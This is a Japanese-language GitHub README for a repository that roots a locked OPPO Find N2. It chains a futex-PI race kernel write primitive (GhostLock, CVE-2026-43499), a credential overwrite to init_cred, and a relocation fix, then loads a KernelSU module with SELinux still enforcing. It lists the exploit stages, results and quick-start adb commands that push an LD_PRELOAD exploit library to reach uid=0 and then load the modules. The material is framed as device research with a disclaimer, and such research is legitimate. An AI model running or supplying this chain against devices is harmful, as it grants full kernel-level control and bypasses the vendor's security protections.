findn2-ksu-chain

ロックされた OPPO Find N2 における KernelSU late-load — 完全なチェーン、自作 LKM、ブートローダー未解除

futex-PI write primitive → cred overwrite → ADRP overflow fixed → kernelsu.ko live

✨ これは何か

出荷時状態かつ OTA ロックされた OPPO Find N2 (PGU110 / SM8475) に、自作コンパイルした KernelSU カーネルモジュールをロードする、完全かつ動作する研究チェーンです。最終的に SELinux が Enforcing のまま su -c id → uid=0 … context=u:r:ksu:s0 に到達します。

lkm-build/ 内のすべて（ローダー、シンボルウォール shim、ビルドシステム）はこのリポジトリによるオリジナルの成果物です。ユーザーランドのエクスプロイトは matisse フレームワークを本デバイス向けに適応させた GPL-3.0 ポートです（NOTICE を参照）。

🏗️ 仕組み

 ① futex PI requeue race      →  kernel write primitive  (GhostLock, CVE-2026-43499)
 ② task->cred = &init_cred    →  CapEff 0000000000000000 → 000001ffffffffff
 ③ gate check                 →  capable() ✓ SELinux ✓ domain ✓  (the wall was never here)
 ④ finit_module               →  R_AARCH64_ADR_PREL_PG_HI21 overflow  ← the real wall
                                fixed by -mcmodel=large: reloc-275 1497 → 0
 ⑤ kernelsu.ko live           →  /system/bin/su · u:r:ksu:s0 · SELinux Enforcing

📊 結果


書き込みプリミティブ	実機で `CapEff: 000001ffffffffff` を観測（3/3 回の実行）
リロケーション修正	type-275 の件数 1497 → 0（ELF `.rela` ヒストグラムで検証済み）
シンボルの壁	TRIM_UNUSED_KSYMS が 49 個のシンボルを削減 → kprobe ブートストラップ + 前方宣言 → 未定義 0
SCM ゲート	`scmversion` を `g74d132f4467a` に固定、バイト単位で一致
安定性	プリフライトゲート + 低負荷レシピ。最終稼働時間 27 時間以上、クラッシュゼロ

🚀 クイックスタート

ビルドと実行（クリックで展開）

# 1) kernel modules are built by GitHub Actions (build-lkm.yml) — download artifacts,
#    or build locally:
KSRC=<vendor-tree> KSU=<KernelSU> CLANG=<clang12> CONFIG=config-5.10.236 \
    bash lkm-build/build-lkm.sh

# 2) stage-A write primitive (userland)
adb push exploit-v29/build/oppo-find_n2/bin/preload.so /data/local/tmp/preload29.so
adb shell "LD_PRELOAD=/data/local/tmp/preload29.so /system/bin/toybox id"   # uid=0

# 3) stage-B late-load
adb push lkm-build/out/ksu_min_load.ko lkm-build/out/kernelsu.ko /data/local/tmp/

# 4) verify
adb shell "su -c id"                     # uid=0 … context=u:r:ksu:s0
adb shell "grep kernelsu /proc/modules"  # kernelsu … Live

📁 リポジトリマップ

exploit-v29/     userland exploit (matisse port, GPL-3.0) + Find-N2 offsets
lkm-build/       ★ original build system: loader · symbol shim · CI scripts
analysis-scripts/  ELF / symbol / offset tooling
test-programs/   standalone PoC probes (C sources only)
docs/            research notes · evidence logs · handoff snapshots
RESEARCH.md      ★ full technical write-up (§1–§10)

📜 詳細な経緯

行き止まり、dmesg の出力行、修正のすべてが RESEARCH.md に記録されています — なぜパーミッションゲートが問題ではなかったのか、ADRP オーバーフローがどのように発見され修正されたのか、そして 5.10.246 OTA 後に何が変わったのかを含みます。

🙏 クレジット

NebuSec/CyberMeowfia — GhostLock (CVE-2026-43499) の研究およびエクスプロイトフレームワーク
ihamn/matisse-public (GPL-3.0) — exploit-v29/ の上流
Dere3046/ElevateMe — rb_erase による cred 上書きメカニズム
JoinChang/ghostlock-oneplus — 同一 SoC におけるオフセットの相互検証
DirtyFrag / DFRoot コミュニティ (CVE-2026-43284) — アイデアのみ（ページキャッシュのクリーンアップ、 DEFEX スタブ、STATIC_USERMODEHELPER バイパス）；コードは一切流用していません — lkm-build/minload/ は独自実装であり、比較は RESEARCH.md §8 にあります
lspromise および kanxue コミュニティでの議論

⚖️ ライセンスと免責事項

lkm-build/、ドキュメント、スクリプト: GPL-2.0-only · exploit-v29/: GPL-3.0（上流）
研究・教育目的のみ、ご自身のデバイスで、自己責任で行ってください。文鎮化、データ損失、保証の喪失は現実に起こり得ます。本リポジトリには OPPO の独自ファームウェアは含まれていません。

oppo-ghostlock

人気